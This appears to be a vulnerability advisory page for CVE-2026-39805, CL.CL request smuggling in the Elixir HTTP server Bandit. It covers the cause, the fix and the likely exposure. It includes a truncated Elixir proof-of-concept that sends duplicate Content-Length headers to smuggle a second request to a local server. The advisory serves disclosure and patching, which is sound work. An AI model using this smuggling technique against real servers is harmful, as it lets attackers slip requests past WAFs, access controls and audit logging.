Bandit is vulnerable to CL.CL request smuggling via unrejected duplicate Content-Length header
Bandit is vulnerable to CL.CL HTTP request smuggling: it silently accepts requests with two Content-Length headers whose values differ, takes the first value, and dispatches the body bytes as a second pipelined request on the same keep-alive connection. RFC 9110 §5.3 prohibits multiple lines for singleton fields like Content-Length, and RFC 9112 §6.3 item 5 requires the recipient to treat invalid Content-Length as an unrecoverable framing error. When Bandit sits behind a proxy that picks the *last* Content-Length and forwards rather than rejects, an unauthenticated attacker can smuggle requests past edge WAF rules, path-based ACLs, rate limiting, and audit logging.
The vulnerability was introduced prior to v0.1.0 (released Nov 5, 2020) on Nov 16, 2019: https://github.com/mtrudel/bandit/commit/e5270b1b19e9f3574aa0f87ec76851d66c38c0af
Bandit.Headers.get_content_length/1 (lib/bandit/headers.ex) calls List.keyfind/3, which returns only the first matching header. Bandit already correctly rejects the comma-separated form (Content-Length: 0, 43) when values differ; the bug is that the multi-line form never reaches that check.
Fix: collect every Content-Length value from the header list and reject unless all values parse and are byte-identical — extending the existing rejection to the multi-line case.
The script below boots a local Bandit server with a Plug that echoes the dispatched method and path, then sends a POST with Content-Length: 0 followed by Content-Length: 43 and a 43-byte body containing a valid GET /smuggled HTTP/1.1 request line. Run with elixir script.exs
On Bandit 1.10.4 / Elixir 1.18, default config: two 200 OK responses on the same TCP connection. First body method=POST path=/, second body method=GET path=/smuggled. Bandit accepted the malformed request and dispatched the embedded request line as a second request.
Spec violation that becomes request smuggling when paired with a permissive frontend. Practical impact depends entirely on what sits between the internet and Bandit, not on what runs above it.
The application framework (Phoenix, LiveView, Phoenix-API + React SPA) is irrelevant — smuggled requests still flow through the full Plug pipeline, so application auth still runs. The attacker is someone hitting the API directly with curl, not the SPA.
Real exposure concentrates at boundary controls the proxy enforces and Bandit doesn't see: edge WAF, path-based ACLs at the LB, edge rate limiting, centralized audit logging, and — the only realistic data-exfil path — response-queue desync on pooled upstream connections.
Most major frontends already reject CL.CL (Cloudflare, AWS ALB, current nginx, HAProxy in default strict mode). Realistic exposure: custom proxies, older nginx, in-house API gateways, or multi-hop setups where one hop is permissive.
Worth fixing regardless — the current behavior silently shifts security responsibility onto whichever proxy is deployed.
```elixir
# Bandit HTTP/1 duplicate Content-Length first-wins PoC.
#
# Bandit.Headers.get_content_length/1 calls List.keyfind/3, which returns the
# first Content-Length value and silently ignores additional Content-Length
# entries. RFC 9112 §6.3 explicitly classifies this as an unrecoverable error
# and says the recipient MUST treat it as such.
#
# This is the classic CL.CL request-smuggling primitive. If a fronting proxy
# uses the *last* Content-Length while Bandit uses the first (or vice versa),
# the second "request" embedded in the first request's body gets dispatched
# as a new request on the same keep-alive connection - after the proxy has
# already applied its access controls.
#
# Run: elixir scripts/bandit/http1_duplicate_content_length.exs
Mix.install([
{:bandit, "~> 1.10"},
{:plug, "~> 1.19"}
])
defmodule DemoApp do
@behaviour Plug
import Plug.Conn
def init(opts), do: opts
def call(conn, _opts) do
send_resp(conn, 200, "method=#{conn.method} path=#{conn.request_path}\n")
end
end
defmodule Smuggle do
@port 4321
def run do
{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)
request = build_smuggling_request()
log("Sending #{byte_size(request)}-byte CL.CL request:\n#{request}")
{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
:ok = :gen_tcp.send(sock, request)
response = read_all(sock)
:gen_tcp.close(sock)
log("Response stream:\n#{response}")
diagnose(response)
end
# POST with two Content-Length headers, plus a smuggled GET line in the
# body. A CL-last fronte
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality low, integrity low, availability none.
The score comes from this vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
CVE-2026-39805 is classified as CWE-444: HTTP Request Smuggling. A proxy and a server disagree on where one request ends, letting an attacker slip a second request past the front end.
CVE-2026-39805 is recorded against 2 packages.
Published on 7 May 2026 and last revised on 30 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
cna.erlef.org (Web)
github.com (Package)
osv.dev (Web)
bandit has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-444: HTTP Request Smuggling) in other software:
Details
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| bandit | — | — |
| unknown | — | — |
References
Similar Threats
Free Vulnerability Check
BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-39805 and other known CVE records.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.